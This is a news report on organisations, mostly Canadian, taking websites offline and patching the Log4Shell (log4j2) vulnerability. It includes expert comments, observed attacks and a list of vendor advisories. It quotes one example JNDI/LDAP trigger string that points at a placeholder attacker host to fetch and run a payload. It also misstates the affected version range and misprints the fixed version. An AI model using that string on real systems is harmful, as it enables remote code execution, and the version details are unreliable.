Federal and provincial departments including the Canada Revenue Agency, Employment and Social Development Canada and the Toronto region transportation system Metrolinx took their websites offline over the weekend to deal with the critical log4j2 Java library vulnerability.
In Quebec, provincial Digital Transformation and Access to Information Minister Eric Caire was quoted as saying almost 4,000 of its websites were shut Sunday to scan for possible vulnerabilities.
In the private sector Waterloo, Ont.-based Auvik Networks, whose network management platform is used by 2,000 customers across North America, found the affected version of log4j is in use in some Auvik systems, the company said in a statement. It has validated that all impacted systems are protected against this vulnerability due to safe configuration of the affected flags. “Our team continues to monitor the situation as it evolves and are updating all systems as necessary to ensure we protect all customers to the best of our ability,” the company said.
The CRA said there is currently no indication its systems have been compromised, or that there has been unauthorized access to taxpayer information because of this vulnerability.
UPDATE: This morning the CRA said most of its digital services have now been restored. Only a page for order forms and publications was still offline.
These were just part of the efforts of IT departments around the world scrambling to patch or mitigate the vulnerability, which has been dubbed Log4Shell or LogJam by some researchers.
“This isn’t a drill,” Phillipe Johnston, president of the CIO Association of Canada and chief information officer of the National Research Council (NRC), said in an interview Sunday.
“There’s a very high probability that you’re using the software in your environment, especially if you have outward-facing clients you have to deal with, like e-commerce or exchanging information through web pages.
“It’s probably better to take your sites down rather than take the risk that someone will exploit the vulnerability.”
The NRC, which conducts and funds research in a wide range of disciplines, took a few systems offline to evaluate and apply security updates to IT systems. “We’re still in the process of patching,” he said Sunday afternoon. “I don’t think it will be a day or two more before we’re all done.”
He credited software vendors with “working their butts off to address this issue.”
“If organizations do their due diligence and perform the necessary they can probably put this behind them in 48 hours,” he added.
Log4Shell/LogJam is a zero-day exploit in version 2 of the log4j Java logging library that can result in remote code execution (RCE) by logging a certain string. It affects log4j2 versions prior to 2.14.1. Apache’s latest version (2.1.15.0) disables the problematic message lookup substitution by default.
(The Swiss CERT produced this graphic along with advice)
Cisco Systems’ Talos threat intelligence service said the vulnerability exists in the Java Naming and Directory Interface (JNDI) implementation of the packages’ LDAP connector, which allows an attacker to retrieve a payload from a remote server and execute it locally. It can be triggered using an LDAP request like ${jndi:ldap://attacker_controlled_website/payload_to_be_executed}
Administrators can use these instructions to search for exploitation attempts.
Researchers at Randori said the presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following pattern: “log4j-core-*.jar”
According to reports from researchers, the vulnerability might be found in web servers and applications ranging from Apache Struts 2, Apache Solr, and Apple’s iCloud, to the Steam gaming platform. According to researchers at LunaSec, simply changing an iPhone’s name has been shown to trigger the vulnerability in Apple’s servers.
It took only a few hours after word of the discovery of the vulnerability and a proof of concept to be published for threat actors to begin trying to exploit it.
For example, Cisco Systems’ Talos threat intelligence service said Saturday that the Mirai botnet is attempting to automatically infect systems. In many cases, it adds, following successful exploitation, victims are being infected with cryptocurrency mining malware.
Microsoft said it has also seen successful attackers install Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.
The SANS Institute said its honeypots have seen active scanning of the internet for systems vulnerable to Log4Shell. It also notes that not all software using log4j2 is vulnerable. For example, Java security managers may be used by software to define policies for an application that will block exploitation.
THIS PAGE has links to log4j2 advisories from a large number of application vendors.
Vendors that have issued statements on the vulnerability include
–VMware, is evaluating dozens of products. Patches for a few have been issued, with patches for many more promised as of late Sunday. Workarounds were published for vCenter Server and vCenter Cloud Gateway;
–Cisco Systems issued a long list of vulnerable products and their workarounds or fixes. Cisco has also released SNORT rules for intrusion protection devices;
–Jamf, which makes the Jamf Pro platform for managing Apple devices in enterprises, said versions older than 10.14 are vulnerable. Versions 10.14 through 10.34 include Java 11, which partially mitigates the issue. The Jamf Pro 10.34.1 release was made available to address the issue completely;
—Atlassian said it doesn’t believe its on-premises products are vulnerable to exploitation in their default configuration. However, if the default logging configuration of (log4j.properties) has been modified to enable the JMS Appender functionality remote code execution may be possible in several products, including Confluence Server and Jira Server;
—Elastic said Elasticsearch is not susceptible to remote code execution with this vulnerability due to the inclusion of the Java Security Manager. However, Elasticsearch on JDK8 or below is susceptible to an information leak via DNS. It can be is fixed by a simple JVM property change. The information leak does not permit access to data within the Elasticsearch cluster. A new version of Elasticsearch that contains the JVM property by default and removes certain components of Log4j out of an abundance of caution is coming;
—Google said users of its Cloud Armor web application firewall can add a new preconfigured WAF rule called “cve-canary” which can help detect and block exploit attempts of CVE-2021-44228;
–Docker, which has this page with advice;
–Debian Linux, which has this page with advice;
—Red Hat said versions of OpenShift Container Platform 4 are affected. Red Hat Software Collection and Red Hat Enterprise Linux 8 are not affected;
—Fortinet said some products are affected, including FortiSIEM, FortiCASB and FortiPortal. The company’s FortiOS operating system is not affected. Web Application signatures to prevent this vulnerability were added in the latest FortiWeb web application firewall database;
–no Microsoft enterprise products so far are known to be vulnerable, but the company reminded administrators that attackers will look for any way this bug can be exploited. As a result it urges admins to lock down logins by using multifactor authentication;
—Akamai said it has updated its Apache web application firewall rules to mitigate the vulnerability on its systems.
As in the Kaseya and SolarWinds attacks, software vulnerabilities in widely used products and components will continue to be an area of vulnerability, said Purandar Das, co-founder and president of Sotero. “It also amplifies the fact that most developers have little or no knowledge of the product or components and do not possess intimate knowledge of its architecture and composition. Third party vulnerability scans that are effective are critical to close this gap.”